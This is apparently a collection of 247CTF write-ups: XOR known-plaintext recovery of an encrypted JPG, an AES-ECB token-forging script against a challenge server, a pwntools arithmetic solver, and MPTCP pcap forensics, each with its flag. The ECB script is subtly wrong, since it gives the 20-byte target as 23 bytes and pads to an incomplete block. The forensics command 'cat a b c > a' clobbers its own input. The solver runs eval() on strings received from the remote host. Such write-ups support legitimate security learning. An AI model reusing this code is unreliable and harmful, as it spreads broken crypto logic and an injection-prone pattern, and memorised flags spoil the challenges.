  • JPG files have a known magic header: FF D8 FF E0 00 10 4A 46 49 46 00 01
  • XOR the encrypted header with known plaintext to recover the key
  • Apply the recovered key to decrypt the entire file

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
from itertools import cycle

# JPG file magic header
known_header = bytes.fromhex("FF D8 FF E0 00 10 4A 46 49 46 00 01")

# Read encrypted file
with open("my_magic_bytes.jpg.enc", "rb") as f:
cipher_data = f.read()

# Extract encrypted header
cipher_header = cipher_data[:12]

# Recover XOR key: ciphertext XOR plaintext = key
key = bytes([c ^ p for c, p in zip(cipher_header, known_header)])
print(f"[*] Calculated Key: {key.hex().upper()}")

# Decrypt entire file by applying repeating key
decrypted_data = bytes([c ^ k for c, k in zip(cipher_data, cycle(key))])

# Save decrypted image
with open("flag.jpg", "wb") as f:
f.write(decrypted_data)

print("[*] Decrypted! Check flag.jpg")

Key Insight

When XOR encrypts known file formats (JPG, PNG, ZIP, etc.), the magic bytes provide enough information to recover the key without brute force.

Flag

247CTF{ca4e3b7f913ca7ca8f33fb0504f2947f}

An encryption service encrypts plaintext, but blocks encryption of the impossible_flag_user string. Exploit the ECB mode implementation to forge an encrypted token that decrypts to this forbidden value.

Vulnerability

The service uses AES in ECB mode, which has critical weakness: identical plaintext blocks produce identical ciphertext blocks. By crafting specific payloads, we can:

  1. Encrypt the first 16 bytes of the target string
  2. Encrypt padding-aligned subsequent bytes
  3. Concatenate the cipher blocks to forge a valid token

Exploit Strategy

The target user is: impossible_flag_user (23 bytes)

  1. Block 1: Encrypt impossible_flag_ (16 bytes) → get first cipher block
  2. Block 2: Encrypt user + PKCS#7 padding → get second cipher block
  3. Combine: Concatenate blocks to form forged token → decrypt equals target

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import binascii
import requests

BASE_URL = "https://2c5a74f7cc3f1fdf.247ctf.com"

def solve():
# Block 1: First 16 bytes of target
part1_plain = b"impossible_flag_"
payload1 = binascii.hexlify(part1_plain).decode()
r1 = requests.get(f"{BASE_URL}/encrypt?user={payload1}")
cipher_part1 = r1.text[:32] # 32 hex chars = 16 bytes
print(f"[*] Block 1 Cipher: {cipher_part1}")

# Block 2: Remaining 7 bytes + PKCS#7 padding to 16 bytes
padding_len = 16 - (23 % 16) # target is 23 bytes, part 2 is 7 bytes. 16 - 7 = 9.
part2_plain = b"user" + bytes([padding_len] * padding_len)
payload2 = binascii.hexlify(part2_plain).decode()
r2 = requests.get(f"{BASE_URL}/encrypt?user={payload2}")
cipher_part2 = r2.text[:32]
print(f"[*] Block 2 Cipher: {cipher_part2}")

# Forge token by concatenating blocks
final_token = cipher_part1 + cipher_part2
print(f"[*] Forged Token: {final_token}")

# Get flag
r_flag = requests.get(f"{BASE_URL}/get_flag?user={final_token}")
print(f"\n---> FLAG: {r_flag.text}")

if __name__ == "__main__":
solve()

Flag

247CTF{ddd01e396dc1965c3fcf943f3968aa39}

Socket challenge requiring automation to solve 500 arithmetic problems programmatically. Use Python with pwntools to interface with the remote service and automate the solution.

Key Considerations

  • Library: pwntools for socket communication
  • Custom delimiter: Uses \r\n instead of standard \n
  • Approach: Parse math expressions dynamically and compute answers

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
import pwn

HOST = "7a3875d00fa5d462.247ctf.com"
PORT = 50337

pwn.context.log_level = "info"
pwn.tube.newline = b"\r\n"


def solve_challenge():
conn = None
try:
conn = pwn.remote(HOST, PORT)

for i in range(500):
conn.recvuntil(b"answer to ")
question_line = conn.recvline().decode().strip()
expression = question_line.replace("?", "")
result = int(eval(expression))
conn.sendline(str(result).encode())
pwn.log.info(f"Progress: [{i + 1}/500] Solved: {expression} = {result}")

pwn.log.success("500 problems solved! Waiting for flag...")
conn.interactive()

except Exception as e:
pwn.log.error(f"An error occurred: {e}")

finally:
if conn:
pwn.log.info("Connection closed.")
conn.close()


if __name__ == "__main__":
solve_challenge()

Execution Output

1
2
3
4
5
6
7
8
❯ python tcp_auto.py
[+] Opening connection to 7a3875d00fa5d462.247ctf.com on port 50337: Done
...
[*] Progress: [499/500] Solved: 221 + 474 = 695
[*] Progress: [500/500] Solved: 4 + 449 = 453
[+] 500 problems solved! Waiting for flag...
[*] Switching to interactive mode
247CTF{flag_here}

Multi-path TCP (MPTCP) challenge: data is spread across multiple subflows. Task is to combine the requests and recover the flag.

Approach

  1. Merge PCAP files - Combine three MPTCP flow captures
  2. Extract TCP streams - Reconstruct the data from merged flows
  3. Analyze extracted data - Look for embedded archives and artifacts
  4. Extract and inspect - Check for flag in extracted files

Solution Steps

1
2
3
4
5
6
7
8
9
10
11
# 1. Merge the three PCAP files
mergecap -w merged_chall.pcap chall-i1.pcap chall-i2.pcap chall-i3.pcap

# 2. Extract TCP flows
tcpflow -r merged_chall.pcap -o ./output_dir

# 3. Concatenate flow streams
cat a b c > a

# 4. Extract embedded archive with binwalk
binwalk -eM a

Key Findings

  • Identified ZIP archive at offset 0x78145B containing 11 files
  • Extracted files include multiple JPEGs: Flag.jpg, Here.jpg, Is.jpg, NOT_A_FLAG.jpg
  • Flag is embedded in one of the extracted images
247CTF{850bb436f0eecad0205eebb6c9b7b6c6}
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE